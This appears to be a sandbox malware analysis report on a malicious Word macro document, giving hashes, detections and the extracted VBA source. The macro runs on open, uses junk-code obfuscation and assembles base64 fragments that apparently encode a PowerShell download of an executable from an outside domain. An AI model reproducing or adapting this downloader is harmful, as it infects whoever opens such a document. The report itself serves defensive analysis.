Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e727539343384834…

MALICIOUS

Office (OLE)

125.5 KB Created: 2017-12-07 17:14:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 2434722195e0341f3e82f9bb478c079f SHA-1: f5f6bcacb486184cc4381ac7c35003b7339bcac2 SHA-256: e727539343384834d43580e1d1c26d37448047c9a4cea6b210d4c92c60347d67
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is automatically executed upon opening the document via the Document_Open subroutine. This macro utilizes the Shell() function, indicating an intent to execute external commands or download additional payloads. The presence of obfuscated strings and the ClamAV detection for 'Doc.Macro.Obfuscation' further support a malicious intent, likely as a downloader or initial execution vector for further compromise.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6332451-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6332451-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19450 bytes
SHA-256: 74991e96f8d81e6b80d4f98bce3bf025a728b393f3b72b6d899833d378e36cc2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()

Dim H4GrWDgI
H4GrWDgI = Array("z2MylIeP")
iUizbLIe = H4GrWDgI(0)
Dim l1jtD3Kro
l1jtD3Kro = Array("slWNn0YGo", "ZqekTr2", "LJGTsv")
fvdD1KRI = l1jtD3Kro(0)
Dim LoWrEp29
LoWrEp29 = Array("A2fKdO")
zjC1PJdNV = LoWrEp29(0)
Dim vUZEPc9
vUZEPc9 = Array("obv0PG", "Ruyn1EWOV")
zmyTskr = vUZEPc9(1)
WbsgLTe = "WTIxa0lDOXJJSE5sZENCZlVFOVhSVkk5Y0c5M1pYSW1KaUJ6WlhRZ1gxTklSVXhNUFhOb1pXeHNKaVlnWTJGc2JDQWxYMUJQVjBWU0pTVmZVMGhGVEV3bElDUjNaV0pqYkdsbGJuUWdQU0J1WlhjdGIySnFaV04wSUZONWMzUmxiUzVPWlhRdVYyVmlRMnhwWlc1ME95UnRlWFZ5YkhNZ1BTQW5hSFIwY0RvdkwyUmxjR0Z5ZEcxbGJuUXRjRzlzYVdObExtTnZiUzlwYjJscGFXOXBMbVY0WlNjdVUzQnNhWFFvSnl3bktUc2tjR0YwYUNBOUlDUmxiblk2ZEdWdGNDQXJJQ2RjZm5SdGNDN"
gw04RGZl = "WxlR1VuTzJadmNtVmhZMmdvSkcxNWRYSnNJR2x1SUNSdGVYVnliSE1wZTNSeWVYc2tkMlZpWTJ4cFpXNTBMa1J2ZDI1c2IyRmtSb"
If Len("jTkOc") <> 130 Then
' SUv2LM
Else
' OvLxJ
MsgBox "Hk4otxsmT", 5, "xE9Hn"
End If
Dim ByV81cJG
ByV81cJG = WbsgLTe & gw04RGZl
KEtjCJXST = "WxzWlNna2JYbDFjbXd1Vkc5V"
CSJyLZd = "GRISnBibWNvS1N3"
BPRJjw1b = "Z0pIQmhkR2dwTz"
kMTYC7S = "FOMFlYSjBMVkJ5"
uGsZoq1 = "YjJObGMzTWdKSEJoZEdnN1luSmxZV3"
YYiMHR2Q = "M3ZldOa"
QEXoW = "GRHTm9lMzE5"
Dim aNYcA
aNYcA = Array("C9qM5")
uWNQGmgTh = aNYcA(0)
Dim cy1T3Ajl
cy1T3Ajl = KEtjCJXST & CSJyLZd & BPRJjw1b & kMTYC7S & uGsZoq1 & YYiMHR2Q & QEXoW

Dim IixGM38Z
IixGM38Z = Array("kgHBS")
F91Ip8y3 = IixGM38Z(0)
Dim TSFkGZcL
TSFkGZcL = Array("xEsSvKrX")
OH8PCFLK = TSFkGZcL(0)
FkotN5yG = ByV81cJG & cy1T3Ajl
Dim wSbWQaPwu
wSbWQaPwu = Array("C02w5v", "ijW6sMxnP")
BMfLr = wSbWQaPwu(1)
Dim cM7eK0q
cM7eK0q = Array("kEbG0qt")
MqwIE = cM7eK0q(0)
Dim e07Pqtdmx
e07Pqtdmx = Array("JOCtUjaq", "qi9hWJg")
j2F58cEi = e07Pqtdmx(0)
Dim mcm3YAIqZ
mcm3YAIqZ = Array("egUe1dTXM")
kQpcWSM9w = mcm3YAIqZ(0)
Dim rEanVSJ
rEanVSJ = Array("mnA1pK5GQ", "OYKe6pMrd", "dVe8pwNb")
pUn0IE19 = rEanVSJ(0)
Dim Zh3Mx6o0
Zh3Mx6o0 = Array("GJPISfY")
Nmlt7M8h = Zh3Mx6o0(0)
sex FkotN5yG
End Sub

Attribute VB_Name = "yXHTnVQ"
Sub sex(QoWj5k)
Dim Iqctesdy
Iqctesdy = Array("kJGP1")
vehMfNYj = Iqctesdy(0)
Dim G4J7AoU
G4J7AoU = Array("zd51J")
hyWPcsY = G4J7AoU(0)
Dim NXDzur
NXDzur = Array("eqjrK", "DSvEMej1Y")
m6dFWI = NXDzur(1)
If Len("gloP7d") <> 166 Then
' Eqpz1v
Else
' cyTvOU
MsgBox "BHEJl1L", 31, "IW9avOJ5"
End If
If Len("wF7ofDVav") <> 151 Then
' cNP2x
Else
' hPk6gZeL9
MsgBox "YUEz1", 54, "QB1DFzYU"
End If
Dim IqaNzp3A
IqaNzp3A = Array("iFPtj1T", "Os70fl8", "iG5lUkY")
wALxj9c = IqaNzp3A(0)
Dim C9Okjs
C9Okjs = Array("LKdwGlUWD", "mTJZfve")
furZdT8f = C9Okjs(1)
Dim eLBRfSd
eLBRfSd = Array("m01Yp", "M8gOTFzkV", "aLJks3UNX")
Mz0V6d = eLBRfSd(1)
Dim bSw5s
bSw5s = Array("cmUpAnr", "hZ46XKH")
De2dVxQ = bSw5s(0)
Dim lJSP1t8
lJSP1t8 = Array("Qw5qQo90M")
rEGsynQgi = lJSP1t8(0)
Dim NZQH7
NZQH7 = Array("KnOpZuv", "TkZb0isao")
iDdpvgK = NZQH7(0)
If Len("puNMc7") <> 140 Then
' vm4EeqWZ
Else
' IcrWLSB
MsgBox "Xu2Bj", 46, "vOE4KMP"
End If
Dim ka0j1Y
ka0j1Y = Array("MnRoZM2h", "f0El2z", "RF4nEsr")
M79lhOMo = ka0j1Y(1)
If Len("GEug4dl") <> 158 Then
' A9XQh
Else
' EFmTL
MsgBox "TjQy34YKe", 18, "r7TemY"
End If
Dim rYDMN
rYDMN = Array("ZvlNFz", "UjSKi", "vIZzd8")
a5T9dEVIZ = rYDMN(0)

Dim Dwrlv
Dwrlv = Array("kBqRn5C")
vj14GlWi = Dwrlv(0)
Dim t5Lgi
t5Lgi = Array("usBDZF1Of", "m6fgET8")
II3U7gb = t5Lgi(1)
Dim d1PNfC
d1PNfC = Array("pgrs58K")
qyuXhlDO = d1PNfC(0)
Dim ThWJDr
ThWJDr = Array("NMBdoyAC", "kZOpE9")
znaVro = ThWJDr(0)
Dim EwkYoc
EwkYoc = Array("G8leFX", "S6ngSHJh", "S8UoND")
q5kOPsf = EwkYoc(2)
If Len("A1KLj4XT") <> 185 Then
' DJ9i7qKN
Else
' uDdr3
MsgBox "gFjJm", 31, "Nu0Y1h2c"
End If
Dim sqX1Leg
sqX1Leg = Array("IUnoL", "Mw91iUJm3")
QErS3I = sqX1Leg(0)
If Len("DUJ96Xmw") <> 137 Then
' jKZk6J
Else
' fZd1arF
MsgBox "zi95GJS62"
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.